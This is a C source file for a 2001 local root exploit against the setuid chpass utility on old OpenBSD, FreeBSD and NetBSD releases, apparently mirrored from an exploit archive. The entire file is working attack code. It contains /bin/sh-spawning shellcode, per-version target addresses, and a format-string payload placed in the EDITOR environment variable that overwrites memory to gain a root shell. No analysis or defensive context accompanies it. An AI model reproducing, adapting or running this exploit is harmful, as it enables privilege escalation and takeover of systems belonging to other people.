477bcbdcc0
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121 lines
3.5 KiB
C
Executable file
121 lines
3.5 KiB
C
Executable file
/*
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* TESO BSD chpass exploit - caddis <caddis@dissension.net>
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*
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* greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
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*
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*/
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#include <stdio.h>
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char bsd_shellcode[] =
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"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
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"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
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"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
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"\xe8\xe5\xff\xff\xff/bin/sh";
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char ptmp_shellcode[] =
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"\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
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"\x89\x76\x12\x89\x5e\x16\x8d\x4e"
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"\x12\x8d\x56\x08\x31\xc0\x52\x53"
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"\xb0\x0a\xcd\x80\x53\x51\x56\x53"
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"\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
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"\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
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struct platform {
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char *name;
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unsigned short count;
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unsigned long dest_addr;
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unsigned long shell_addr;
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char *shellcode;
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};
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struct platform targets[9] =
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{
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{ "OpenBSD 2.7 i386 ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
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{ "OpenBSD 2.6 i386 ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
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{ "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
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{ "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
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{ "FreeBSD 4.0-RELEASE ", 167, 0x805023c, 0xbfbffc68, bsd_shellcode },
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{ "FreeBSD 3.5-RELEASE ", 135, 0x804fa58, 0xbfbfdcac, bsd_shellcode },
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{ "FreeBSD 3.4-RELEASE ", 131, 0x804f988, 0xbfbfdcd0, bsd_shellcode },
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{ "NetBSD 1.4.2 ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode },
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{ NULL, 0, 0, 0, NULL }
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};
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char jmpcode[129];
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char fmt_string[1000];
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char *args[] = { "chpass", NULL };
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char *envs[] = { jmpcode, fmt_string, NULL };
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void usage(char *name)
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{
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printf("%s <TARGET>\n"
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"1 - OpenBSD 2.7 i386\n"
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"2 - OpenBSD 2.6 i386\n"
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"3 - OpenBSD 2.5 1999/08/06\n"
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"4 - OpenBSD 2.5 1998/05/28\n"
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"5 - FreeBSD 4.0-RELEASE\n"
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"6 - FreeBSD 3.5-RELEASE\n"
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"7 - FreeBSD 3.4-RELEASE\n"
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"8 - NetBSD 1.4.2\n", name);
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exit(1);
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}
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int main(int argc, char *argv[])
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{
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char *p;
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int x, len = 0;
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struct platform *target;
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unsigned short low, high;
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unsigned long shell_addr[2], dest_addr[2];
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if (argc != 2)
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usage(argv[0]);
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x = atoi(argv[1]) - 1;
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if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform
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)) - 1 || x < 0)
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usage(argv[0]);
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target = &targets[x];
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memset(jmpcode, 0x90, sizeof(jmpcode));
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strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shell
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code);
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strcat(fmt_string, "EDITOR=");
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for (x = 0; x < target->count; x++) {
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strcat(fmt_string, "%8x");
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len += 8;
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}
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shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
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shell_addr[1] = target->shell_addr & 0xffff;
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if (shell_addr[1] > shell_addr[0]) {
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dest_addr[0] = target->dest_addr+2;
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dest_addr[1] = target->dest_addr;
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low = shell_addr[0] - len;
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high = shell_addr[1] - low - len;
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} else {
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dest_addr[0] = target->dest_addr;
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dest_addr[1] = target->dest_addr+2;
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low = shell_addr[1] - len;
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high = shell_addr[0] - low - len;
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}
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/* allign on 4byte boundry relative to ebp */
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*(long *)&jmpcode[1] = 0x11111111;
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*(long *)&jmpcode[5] = dest_addr[0];
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*(long *)&jmpcode[9] = 0x11111111;
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*(long *)&jmpcode[13] = dest_addr[1];
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p = fmt_string + strlen(fmt_string);
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sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
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execve("/usr/bin/chpass", args, envs);
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perror("execve");
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}
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// milw0rm.com [2001-01-12]
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